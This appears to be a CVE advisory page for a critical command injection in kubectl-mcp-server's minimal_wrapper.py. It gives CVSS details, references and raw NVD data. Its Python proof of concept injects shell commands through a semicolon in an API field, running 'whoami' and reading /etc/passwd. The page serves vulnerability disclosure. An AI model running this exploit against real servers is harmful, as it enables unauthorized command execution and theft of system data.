Security Vulnerability Report
中文
CVE-2025-69902 CVSS 9.8 CRITICAL

CVE-2025-69902

Published: 2026-03-16 21:16:18
Last Modified: 2026-04-27 19:18:47

Description

A command injection vulnerability in the minimal_wrapper.py component of kubectl-mcp-server v1.2.0 allows attackers to execute arbitrary commands via injecting arbitrary shell metacharacters.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

kubectl-mcp-server < 1.2.1
kubectl-mcp-tool < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-69902 PoC - kubectl-mcp-server Command Injection This PoC demonstrates the command injection vulnerability in minimal_wrapper.py Note: For authorized security testing only """ import requests import json # Target configuration TARGET_URL = "http://target-server:8080" def exploit_command_injection(target_url, command): """ Exploit the command injection vulnerability by injecting shell metacharacters """ # Malicious payload with command injection payload = { "tool": "kubectl_exec", "args": { "command": f"; {command};", # Inject command via semicolon "namespace": "default" } } try: response = requests.post( f"{target_url}/mcp/execute", json=payload, timeout=10 ) return response.json() except Exception as e: return {"error": str(e)} def main(): # Test with whoami command result = exploit_command_injection(TARGET_URL, "whoami") print(f"[+] Command execution result: {result}") # Test reading sensitive file result = exploit_command_injection(TARGET_URL, "cat /etc/passwd") print(f"[+] File read result: {result}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69902", "sourceIdentifier": "[email protected]", "published": "2026-03-16T21:16:17.700", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability in the minimal_wrapper.py component of kubectl-mcp-server v1.2.0 allows attackers to execute arbitrary commands via injecting arbitrary shell metacharacters."}, {"lang": "es", "value": "Una vulnerabilidad de inyección de comandos en el componente minimal_wrapper.py de kubectl-mcp-server v1.2.0 permite a los atacantes ejecutar comandos arbitrarios mediante la inyección de metacaracteres de shell arbitrarios."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://asec.ahnlab.com/ko/92922/", "source": "[email protected]"}, {"url": "https://github.com/rohitg00/kubectl-mcp-server", "source": "[email protected]"}, {"url": "https://github.com/rohitg00/kubectl-mcp-server/blob/main/kubectl_mcp_tool/minimal_wrapper.py", "source": "[email protected]"}, {"url": "https://pypi.org/project/kubectl-mcp-tool", "source": "[email protected]"}]}}